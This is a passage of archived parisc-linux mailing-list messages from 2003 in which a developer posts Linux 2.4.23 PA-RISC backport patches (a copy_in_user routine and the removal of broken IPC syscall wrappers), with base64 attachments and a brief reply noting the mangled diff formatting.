+	bv          %r0(%r2)
+	copy        %r24,%r28
+	.exit
+
+2:      b $lciu_done
+	ldo         1(%r24),%r24
+
+	.section __ex_table,"a"
+#ifdef __LP64__
+	.dword      1b,(2b-1b)
+#else
+	.word       1b,(2b-1b)
+#endif
+	.previous
+
+	.procend
+
+	/*
 	 * long lstrncpy_from_user(char *dst, const char *src, long n)
 	 *
 	 * Returns -EFAULT if exception before terminator,
diff -NaurX dontdiff linux-2.4.23-pa1/include/asm-parisc/uaccess.h linux-2.4.23-rc5-pa17/include/asm-parisc/uaccess.h
--- linux-2.4.23-pa1/include/asm-parisc/uaccess.h	2003-11-12 07:25:38.000000000
+0100
+++ linux-2.4.23-rc5-pa17/include/asm-parisc/uaccess.h	2003-11-26 19:56:49.000000000
+0100
@@ -263,6 +263,7 @@
 
 extern unsigned long lcopy_to_user(void *, const void *, unsigned long);
 extern unsigned long lcopy_from_user(void *, const void *, unsigned long);
+extern unsigned long lcopy_in_user(void *, const void *, unsigned long);
 extern long lstrncpy_from_user(char *, const char *, long);
 extern unsigned lclear_user(void *,unsigned long);
 extern long lstrnlen_user(const char *,long);
@@ -281,5 +282,7 @@
 #define __copy_from_user lcopy_from_user
 #define copy_to_user lcopy_to_user
 #define __copy_to_user lcopy_to_user
+#define copy_in_user lcopy_in_user
+#define __copy_in_user lcopy_in_user
 
 #endif /* __PARISC_UACCESS_H */
=========><=========

hth,
    Joel
 

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr



--========/3FB25B960000DA96/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="arch_parisc_lib_lusercopy.S.patch"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjIzLXBhMS9hcmNoL3BhcmlzYy9saWIvbHVz
ZXJjb3B5LlMgbGludXgtMi40LjIzLXJjNS1wYTE3L2FyY2gvcGFyaXNjL2xpYi9sdXNlcmNvcHku
UwotLS0gbGludXgtMi40LjIzLXBhMS9hcmNoL3BhcmlzYy9saWIvbHVzZXJjb3B5LlMJMjAwMS0w
OS0wNiAxMTo0NDowOC4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNC4yMy1yYzUtcGExNy9h
cmNoL3BhcmlzYy9saWIvbHVzZXJjb3B5LlMJMjAwMy0xMC0yMyAxODoyMTo0NC4wMDAwMDAwMDAg
KzAyMDAKQEAgLTEzMyw2ICsxMzMsNDMgQEAKIAkucHJvY2VuZAogCiAJLyoKKwkgKiB1bnNpZ25l
ZCBsb25nCisJICogbGNvcHlfaW5fdXNlcih2b2lkICp0bywgY29uc3Qgdm9pZCAqZnJvbSwgdW5z
aWduZWQgbG9uZyBuKQorCSAqCisJICogUmV0dXJucyAwIGZvciBzdWNjZXNzLgorCSAqIG90aGVy
d2lzZSwgcmV0dXJucyBudW1iZXIgb2YgYnl0ZXMgbm90IHRyYW5zZmVycmVkLgorCSAqLworCisJ
LmV4cG9ydCBsY29weV9pbl91c2VyLGNvZGUKK2xjb3B5X2luX3VzZXI6CisJLnByb2MKKwkuY2Fs
bGluZm8gTk9fQ0FMTFMKKwkuZW50cnkKKwljb21pYiw9LG4gICAwLCVyMjQsJGxjaXVfZG9uZQor
CWdldF9zcgorJGxjaXVfbG9vcDoKKwlsZGJzLG1hICAgICAxKCVzcjEsJXIyNSksJXIxCisJYWRk
aWIsPD4gICAgLTEsJXIyNCwkbGNpdV9sb29wCisxOiAgICAgIHN0YnMsbWEgICAgICVyMSwxKCVz
cjEsJXIyNikKKyRsY2l1X2RvbmU6CisJYnYgICAgICAgICAgJXIwKCVyMikKKwljb3B5ICAgICAg
ICAlcjI0LCVyMjgKKwkuZXhpdAorCisyOiAgICAgIGIgJGxjaXVfZG9uZQorCWxkbyAgICAgICAg
IDEoJXIyNCksJXIyNAorCisJLnNlY3Rpb24gX19leF90YWJsZSwiYSIKKyNpZmRlZiBfX0xQNjRf
XworCS5kd29yZCAgICAgIDFiLCgyYi0xYikKKyNlbHNlCisJLndvcmQgICAgICAgMWIsKDJiLTFi
KQorI2VuZGlmCisJLnByZXZpb3VzCisKKwkucHJvY2VuZAorCisJLyoKIAkgKiBsb25nIGxzdHJu
Y3B5X2Zyb21fdXNlcihjaGFyICpkc3QsIGNvbnN0IGNoYXIgKnNyYywgbG9uZyBuKQogCSAqCiAJ
ICogUmV0dXJucyAtRUZBVUxUIGlmIGV4Y2VwdGlvbiBiZWZvcmUgdGVybWluYXRvciwK


--========/3FB25B960000DA96/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="include_asm-parisc_uaccess.h.patch"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjIzLXBhMS9pbmNsdWRlL2FzbS1wYXJpc2Mv
dWFjY2Vzcy5oIGxpbnV4LTIuNC4yMy1yYzUtcGExNy9pbmNsdWRlL2FzbS1wYXJpc2MvdWFjY2Vz
cy5oCi0tLSBsaW51eC0yLjQuMjMtcGExL2luY2x1ZGUvYXNtLXBhcmlzYy91YWNjZXNzLmgJMjAw
My0xMS0xMiAwNzoyNTozOC4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yMy1yYzUtcGEx
Ny9pbmNsdWRlL2FzbS1wYXJpc2MvdWFjY2Vzcy5oCTIwMDMtMTEtMjYgMTk6NTY6NDkuMDAwMDAw
MDAwICswMTAwCkBAIC0yNjMsNiArMjYzLDcgQEAKIAogZXh0ZXJuIHVuc2lnbmVkIGxvbmcgbGNv
cHlfdG9fdXNlcih2b2lkICosIGNvbnN0IHZvaWQgKiwgdW5zaWduZWQgbG9uZyk7CiBleHRlcm4g
dW5zaWduZWQgbG9uZyBsY29weV9mcm9tX3VzZXIodm9pZCAqLCBjb25zdCB2b2lkICosIHVuc2ln
bmVkIGxvbmcpOworZXh0ZXJuIHVuc2lnbmVkIGxvbmcgbGNvcHlfaW5fdXNlcih2b2lkICosIGNv
bnN0IHZvaWQgKiwgdW5zaWduZWQgbG9uZyk7CiBleHRlcm4gbG9uZyBsc3RybmNweV9mcm9tX3Vz
ZXIoY2hhciAqLCBjb25zdCBjaGFyICosIGxvbmcpOwogZXh0ZXJuIHVuc2lnbmVkIGxjbGVhcl91
c2VyKHZvaWQgKix1bnNpZ25lZCBsb25nKTsKIGV4dGVybiBsb25nIGxzdHJubGVuX3VzZXIoY29u
c3QgY2hhciAqLGxvbmcpOwpAQCAtMjgxLDUgKzI4Miw3IEBACiAjZGVmaW5lIF9fY29weV9mcm9t
X3VzZXIgbGNvcHlfZnJvbV91c2VyCiAjZGVmaW5lIGNvcHlfdG9fdXNlciBsY29weV90b191c2Vy
CiAjZGVmaW5lIF9fY29weV90b191c2VyIGxjb3B5X3RvX3VzZXIKKyNkZWZpbmUgY29weV9pbl91
c2VyIGxjb3B5X2luX3VzZXIKKyNkZWZpbmUgX19jb3B5X2luX3VzZXIgbGNvcHlfaW5fdXNlcgog
CiAjZW5kaWYgLyogX19QQVJJU0NfVUFDQ0VTU19IICovCg==

--========/3FB25B960000DA96/mail.tiscali.be--


From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 some tested backport (pgalloc.h)
Date: Thu, 4 Dec 2003 11:20:39 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20031204102038.GL16507@lug-owl.de>
References: <3FB25B960000DA45@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="pDMuYlNcjisHFiH4"
X-Trace: ger.gmane.org 1416623020 2583 80.91.229.3 (22 Nov 2014 02:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 03:20:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EAA44845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 03:20:41 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id D715E4B45C; Thu,  4 Dec 2003 11:20:39 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3FB25B960000DA45@ocpmta1.freegates.net>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20286

--pDMuYlNcjisHFiH4
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-12-04 10:56:08 +0100, Joel Soete <soete.joel@tiscali.be>
wrote in message <3FB25B960000DA45@ocpmta1.freegates.net>:

> --- linux-2.4.23-pa1/include/asm-parisc/pgalloc.h	2003-03-10 08:02:19.000=
000000
> +0100
> +++ linux-2.4.23-rc5-pa17/include/asm-parisc/pgalloc.h	2003-12-04 11:06:3=
1.000000000
> +0100
> @@ -124,8 +124,9 @@

Your email client horribly mudged this...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--pDMuYlNcjisHFiH4
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/zwp2Hb1edYOZ4bsRArJ4AKCG1M5yv3CUKFJEKDfj7QxRA3deogCfVt2D
ZybGx4YFe7C0FOb6sP57pe8=
=tO5X
-----END PGP SIGNATURE-----

--pDMuYlNcjisHFiH4--


From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.23 semctl_broken -> semctl
Date: Thu, 4 Dec 2003 11:27:08 +0100
Lines: 289
Approved: news@gmane.org
Message-ID: <3FB25B960000DAD8@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3FB25B960000DAD8/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623020 2589 80.91.229.3 (22 Nov 2014 02:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 03:28:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFCC04845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 03:28:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1ARqhU-00052I-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 04 Dec 2003 11:27:12 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 4 Dec 2003 11:27:08 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20287

--========/3FB25B960000DAD8/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi pa,

This is the last chunk I find interesting (as James and Carlos work iirc):
=========><=========
diff -NaurX dontdiff linux-2.4.23-pa1/arch/parisc/kernel/sys_parisc32.c linux-2.4.23-rc5-pa17/arch/parisc/kernel/sys_parisc32.c
--- linux-2.4.23-pa1/arch/parisc/kernel/sys_parisc32.c	2003-09-22 09:06:22.000000000
+0200
+++ linux-2.4.23-rc5-pa17/arch/parisc/kernel/sys_parisc32.c	2003-11-12 11:01:43.000000000
+0100
@@ -3196,12 +3196,10 @@
 	return sys_lseek(fd, offset, origin);
 }
 
-asmlinkage long sys32_semctl_broken(int semid, int semnum, int cmd, union
semun arg)
+asmlinkage long sys32_semctl(int semid, int semnum, int cmd, union semun
arg)
 {
         union semun u;
 	
-	cmd &= ~IPC_64; /* should be removed together with the _broken suffix */
-
         if (cmd == SETVAL) {
                 /* Ugh.  arg is a union of int,ptr,ptr,ptr, so is 8 bytes.
                  * The int should be in the first 4, but our argument
diff -NaurX dontdiff linux-2.4.23-pa1/arch/parisc/kernel/sys_parisc.c linux-2.4.23-rc5-pa17/arch/parisc/kernel/sys_parisc.c
--- linux-2.4.23-pa1/arch/parisc/kernel/sys_parisc.c	2001-11-23 22:54:28.000000000
+0100
+++ linux-2.4.23-rc5-pa17/arch/parisc/kernel/sys_parisc.c	2003-11-12 11:01:00.000000000
+0100
@@ -153,106 +153,3 @@
 	return raddr;
 }
 
-
-/*
- * FIXME, please remove this crap as soon as possible
- *
- * This is here to fix up broken glibc structures, 
- * which are already fixed in newer glibcs
- */
-#include <linux/msg.h>
-#include <linux/sem.h>
-#include <linux/shm.h>
-#include "sys32.h"
-
-struct broken_ipc_perm
-{
-    key_t key;			/* Key.  */
-    uid_t uid;			/* Owner's user ID.  */
-    gid_t gid;			/* Owner's group ID.  */
-    uid_t cuid;			/* Creator's user ID.  */
-    gid_t cgid;			/* Creator's group ID.  */
-    unsigned short int mode;		/* Read/write permission.  */
-    unsigned short int __pad1;
-    unsigned short int seq;		/* Sequence number.  */
-    unsigned short int __pad2;
-    unsigned long int __unused1;
-    unsigned long int __unused2;
-};
-		    
-struct broken_shmid64_ds {
-	struct broken_ipc_perm	shm_perm;	/* operation perms */
-	size_t			shm_segsz;	/* size of segment (bytes) */
-#ifndef __LP64__
-	unsigned int		__pad1;
-#endif
-	__kernel_time_t		shm_atime;	/* last attach time */
-#ifndef __LP64__
-	unsigned int		__pad2;
-#endif
-	__kernel_time_t		shm_dtime;	/* last detach time */
-#ifndef __LP64__
-	unsigned int		__pad3;
-#endif
-	__kernel_time_t		shm_ctime;	/* last change time */
-	__kernel_pid_t		shm_cpid;	/* pid of creator */
-	__kernel_pid_t		shm_lpid;	/* pid of last operator */
-	unsigned int		shm_nattch;	/* no. of current attaches */
-	unsigned int		__unused1;
-	unsigned int		__unused2;
-};
-
-static void convert_broken_perm (struct broken_ipc_perm *out, struct ipc64_perm
*in)
-{
-	out->key  = in->key;
-	out->uid  = in->uid;
-	out->gid  = in->gid;
-	out->cuid = in->cuid;
-	out->cgid = in->cgid;
-	out->mode = in->mode;
-	out->seq  = in->seq;
-}
-
-static int copyout_broken_shmid64(struct broken_shmid64_ds *buf, struct
shmid64_ds *sbuf)
-{
-	struct broken_shmid64_ds tbuf;
-	
-	memset(&tbuf, 0, sizeof tbuf);
-	convert_broken_perm (&tbuf.shm_perm, &sbuf->shm_perm);
-	tbuf.shm_segsz = sbuf->shm_segsz;
-	tbuf.shm_atime = sbuf->shm_atime;
-	tbuf.shm_dtime = sbuf->shm_dtime;
-	tbuf.shm_ctime = sbuf->shm_ctime;
-	tbuf.shm_cpid = sbuf->shm_cpid;
-	tbuf.shm_lpid = sbuf->shm_lpid;
-	tbuf.shm_nattch = sbuf->shm_nattch;
-	return copy_to_user(buf, &tbuf, sizeof tbuf);
-}
-
-int sys_msgctl_broken(int msqid, int cmd, struct msqid_ds *buf)
-{
-	return sys_msgctl (msqid, cmd & ~IPC_64, buf);
-}
-
-int sys_semctl_broken(int semid, int semnum, int cmd, union semun arg)
-{
-	return sys_semctl (semid, semnum, cmd & ~IPC_64, arg);
-}
-
-int sys_shmctl_broken(int shmid, int cmd, struct shmid64_ds *buf)
-{
-	struct shmid64_ds sbuf;
-	int err;
-
-	if (cmd & IPC_64) {
-		cmd &= ~IPC_64;
-		if (cmd == IPC_STAT || cmd == SHM_STAT) {
-			KERNEL_SYSCALL(err, sys_shmctl, shmid, cmd, (struct shmid_ds *)&sbuf);
-			if (err == 0)
-				err = copyout_broken_shmid64((struct broken_shmid64_ds *)buf, &sbuf);
-			return err;
-		}
-	}
-	return sys_shmctl (shmid, cmd, (struct shmid_ds *)buf);
-}
-
diff -NaurX dontdiff linux-2.4.23-pa1/arch/parisc/kernel/syscall.S linux-2.4.23-rc5-pa17/arch/parisc/kernel/syscall.S
--- linux-2.4.23-pa1/arch/parisc/kernel/syscall.S	2003-08-26 07:42:18.000000000
+0200
+++ linux-2.4.23-rc5-pa17/arch/parisc/kernel/syscall.S	2003-11-12 11:03:22.000000000
+0100
@@ -577,15 +577,15 @@
 	ENTRY_DIFF(recvmsg)
 	ENTRY_SAME(semop)		/* 185 */
 	ENTRY_SAME(semget)
-	ENTRY_DIFF(semctl_broken)
+	ENTRY_DIFF(semctl)
 	ENTRY_DIFF(msgsnd)
 	ENTRY_DIFF(msgrcv)
 	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_SAME(msgctl_broken)
+	ENTRY_SAME(msgctl)
 	ENTRY_SAME(shmat_wrapper)
 	ENTRY_SAME(shmdt)
 	ENTRY_SAME(shmget)
-	ENTRY_SAME(shmctl_broken)		/* 195 */
+	ENTRY_SAME(shmctl)		/* 195 */
 	ENTRY_SAME(ni_syscall)		/* streams1 */
 	ENTRY_SAME(ni_syscall)		/* streams2 */
 	ENTRY_SAME(lstat64)
========><========

hth,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr



--========/3FB25B960000DAD8/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="arch_parisc_kernel_sys_parisc.c.patch"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjIzLXBhMS9hcmNoL3BhcmlzYy9rZXJuZWwv
c3lzX3BhcmlzYy5jIGxpbnV4LTIuNC4yMy1yYzUtcGExNy9hcmNoL3BhcmlzYy9rZXJuZWwvc3lz
X3BhcmlzYy5jCi0tLSBsaW51eC0yLjQuMjMtcGExL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNfcGFy
aXNjLmMJMjAwMS0xMS0yMyAyMjo1NDoyOC4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4y
My1yYzUtcGExNy9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzX3BhcmlzYy5jCTIwMDMtMTEtMTIgMTE6
MDE6MDAuMDAwMDAwMDAwICswMTAwCkBAIC0xNTMsMTA2ICsxNTMsMyBAQAogCXJldHVybiByYWRk
cjsKIH0KIAotCi0vKgotICogRklYTUUsIHBsZWFzZSByZW1vdmUgdGhpcyBjcmFwIGFzIHNvb24g
YXMgcG9zc2libGUKLSAqCi0gKiBUaGlzIGlzIGhlcmUgdG8gZml4IHVwIGJyb2tlbiBnbGliYyBz
dHJ1Y3R1cmVzLCAKLSAqIHdoaWNoIGFyZSBhbHJlYWR5IGZpeGVkIGluIG5ld2VyIGdsaWJjcwot
ICovCi0jaW5jbHVkZSA8bGludXgvbXNnLmg+Ci0jaW5jbHVkZSA8bGludXgvc2VtLmg+Ci0jaW5j
bHVkZSA8bGludXgvc2htLmg+Ci0jaW5jbHVkZSAic3lzMzIuaCIKLQotc3RydWN0IGJyb2tlbl9p
cGNfcGVybQotewotICAgIGtleV90IGtleTsJCQkvKiBLZXkuICAqLwotICAgIHVpZF90IHVpZDsJ
CQkvKiBPd25lcidzIHVzZXIgSUQuICAqLwotICAgIGdpZF90IGdpZDsJCQkvKiBPd25lcidzIGdy
b3VwIElELiAgKi8KLSAgICB1aWRfdCBjdWlkOwkJCS8qIENyZWF0b3IncyB1c2VyIElELiAgKi8K
LSAgICBnaWRfdCBjZ2lkOwkJCS8qIENyZWF0b3IncyBncm91cCBJRC4gICovCi0gICAgdW5zaWdu
ZWQgc2hvcnQgaW50IG1vZGU7CQkvKiBSZWFkL3dyaXRlIHBlcm1pc3Npb24uICAqLwotICAgIHVu
c2lnbmVkIHNob3J0IGludCBfX3BhZDE7Ci0gICAgdW5zaWduZWQgc2hvcnQgaW50IHNlcTsJCS8q
IFNlcXVlbmNlIG51bWJlci4gICovCi0gICAgdW5zaWduZWQgc2hvcnQgaW50IF9fcGFkMjsKLSAg
ICB1bnNpZ25lZCBsb25nIGludCBfX3VudXNlZDE7Ci0gICAgdW5zaWduZWQgbG9uZyBpbnQgX191
bnVzZWQyOwotfTsKLQkJICAgIAotc3RydWN0IGJyb2tlbl9zaG1pZDY0X2RzIHsKLQlzdHJ1Y3Qg
YnJva2VuX2lwY19wZXJtCXNobV9wZXJtOwkvKiBvcGVyYXRpb24gcGVybXMgKi8KLQlzaXplX3QJ
CQlzaG1fc2Vnc3o7CS8qIHNpemUgb2Ygc2VnbWVudCAoYnl0ZXMpICovCi0jaWZuZGVmIF9fTFA2
NF9fCi0JdW5zaWduZWQgaW50CQlfX3BhZDE7Ci0jZW5kaWYKLQlfX2tlcm5lbF90aW1lX3QJCXNo
bV9hdGltZTsJLyogbGFzdCBhdHRhY2ggdGltZSAqLwotI2lmbmRlZiBfX0xQNjRfXwotCXVuc2ln
bmVkIGludAkJX19wYWQyOwotI2VuZGlmCi0JX19rZXJuZWxfdGltZV90CQlzaG1fZHRpbWU7CS8q
IGxhc3QgZGV0YWNoIHRpbWUgKi8KLSNpZm5kZWYgX19MUDY0X18KLQl1bnNpZ25lZCBpbnQJCV9f
cGFkMzsKLSNlbmRpZgotCV9fa2VybmVsX3RpbWVfdAkJc2htX2N0aW1lOwkvKiBsYXN0IGNoYW5n
ZSB0aW1lICovCi0JX19rZXJuZWxfcGlkX3QJCXNobV9jcGlkOwkvKiBwaWQgb2YgY3JlYXRvciAq
LwotCV9fa2VybmVsX3BpZF90CQlzaG1fbHBpZDsJLyogcGlkIG9mIGxhc3Qgb3BlcmF0b3IgKi8K
LQl1bnNpZ25lZCBpbnQJCXNobV9uYXR0Y2g7CS8qIG5vLiBvZiBjdXJyZW50IGF0dGFjaGVzICov
Ci0JdW5zaWduZWQgaW50CQlfX3VudXNlZDE7Ci0JdW5zaWduZWQgaW50CQlfX3VudXNlZDI7Ci19
OwotCi1zdGF0aWMgdm9pZCBjb252ZXJ0X2Jyb2tlbl9wZXJtIChzdHJ1Y3QgYnJva2VuX2lwY19w
ZXJtICpvdXQsIHN0cnVjdCBpcGM2NF9wZXJtICppbikKLXsKLQlvdXQtPmtleSAgPSBpbi0+a2V5
OwotCW91dC0+dWlkICA9IGluLT51aWQ7Ci0Jb3V0LT5naWQgID0gaW4tPmdpZDsKLQlvdXQtPmN1
aWQgPSBpbi0+Y3VpZDsKLQlvdXQtPmNnaWQgPSBpbi0+Y2dpZDsKLQlvdXQtPm1vZGUgPSBpbi0+
bW9kZTsKLQlvdXQtPnNlcSAgPSBpbi0+c2VxOwotfQotCi1zdGF0aWMgaW50IGNvcHlvdXRfYnJv
a2VuX3NobWlkNjQoc3RydWN0IGJyb2tlbl9zaG1pZDY0X2RzICpidWYsIHN0cnVjdCBzaG1pZDY0
X2RzICpzYnVmKQotewotCXN0cnVjdCBicm9rZW5fc2htaWQ2NF9kcyB0YnVmOwotCQotCW1lbXNl
dCgmdGJ1ZiwgMCwgc2l6ZW9mIHRidWYpOwotCWNvbnZlcnRfYnJva2VuX3Blcm0gKCZ0YnVmLnNo
bV9wZXJtLCAmc2J1Zi0+c2htX3Blcm0pOwotCXRidWYuc2htX3NlZ3N6ID0gc2J1Zi0+c2htX3Nl
Z3N6OwotCXRidWYuc2htX2F0aW1lID0gc2J1Zi0+c2htX2F0aW1lOwotCXRidWYuc2htX2R0aW1l
ID0gc2J1Zi0+c2htX2R0aW1lOwotCXRidWYuc2htX2N0aW1lID0gc2J1Zi0+c2htX2N0aW1lOwot
CXRidWYuc2htX2NwaWQgPSBzYnVmLT5zaG1fY3BpZDsKLQl0YnVmLnNobV9scGlkID0gc2J1Zi0+
c2htX2xwaWQ7Ci0JdGJ1Zi5zaG1fbmF0dGNoID0gc2J1Zi0+c2htX25hdHRjaDsKLQlyZXR1cm4g
Y29weV90b191c2VyKGJ1ZiwgJnRidWYsIHNpemVvZiB0YnVmKTsKLX0KLQotaW50IHN5c19tc2dj
dGxfYnJva2VuKGludCBtc3FpZCwgaW50IGNtZCwgc3RydWN0IG1zcWlkX2RzICpidWYpCi17Ci0J
cmV0dXJuIHN5c19tc2djdGwgKG1zcWlkLCBjbWQgJiB+SVBDXzY0LCBidWYpOwotfQotCi1pbnQg
c3lzX3NlbWN0bF9icm9rZW4oaW50IHNlbWlkLCBpbnQgc2VtbnVtLCBpbnQgY21kLCB1bmlvbiBz
ZW11biBhcmcpCi17Ci0JcmV0dXJuIHN5c19zZW1jdGwgKHNlbWlkLCBzZW1udW0sIGNtZCAmIH5J
UENfNjQsIGFyZyk7Ci19Ci0KLWludCBzeXNfc2htY3RsX2Jyb2tlbihpbnQgc2htaWQsIGludCBj
bWQsIHN0cnVjdCBzaG1pZDY0X2RzICpidWYpCi17Ci0Jc3RydWN0IHNobWlkNjRfZHMgc2J1ZjsK
LQlpbnQgZXJyOwotCi0JaWYgKGNtZCAmIElQQ182NCkgewotCQljbWQgJj0gfklQQ182NDsKLQkJ
aWYgKGNtZCA9PSBJUENfU1RBVCB8fCBjbWQgPT0gU0hNX1NUQVQpIHsKLQkJCUtFUk5FTF9TWVND
QUxMKGVyciwgc3lzX3NobWN0bCwgc2htaWQsIGNtZCwgKHN0cnVjdCBzaG1pZF9kcyAq
KSZzYnVmKTsKLQkJCWlmIChlcnIgPT0gMCkKLQkJCQllcnIgPSBjb3B5b3V0X2Jyb2tlbl9zaG1p
ZDY0KChzdHJ1Y3QgYnJva2VuX3NobWlkNjRfZHMgKilidWYsICZzYnVmKTsKLQkJCXJldHVybiBl
cnI7Ci0JCX0KLQl9Ci0JcmV0dXJuIHN5c19zaG1jdGwgKHNobWlkLCBjbWQsIChzdHJ1Y3Qgc2ht
aWRfZHMgKilidWYpOwotfQotCg==


--========/3FB25B960000DAD8/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="arch_parisc_kernel_sys_parisc32.c.patch"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjIzLXBhMS9hcmNoL3BhcmlzYy9rZXJuZWwv
c3lzX3BhcmlzYzMyLmMgbGludXgtMi40LjIzLXJjNS1wYTE3L2FyY2gvcGFyaXNjL2tlcm5lbC9z
eXNfcGFyaXNjMzIuYwotLS0gbGludXgtMi40LjIzLXBhMS9hcmNoL3BhcmlzYy9rZXJuZWwvc3lz
X3BhcmlzYzMyLmMJMjAwMy0wOS0yMiAwOTowNjoyMi4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4
LTIuNC4yMy1yYzUtcGExNy9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzX3BhcmlzYzMyLmMJMjAwMy0x
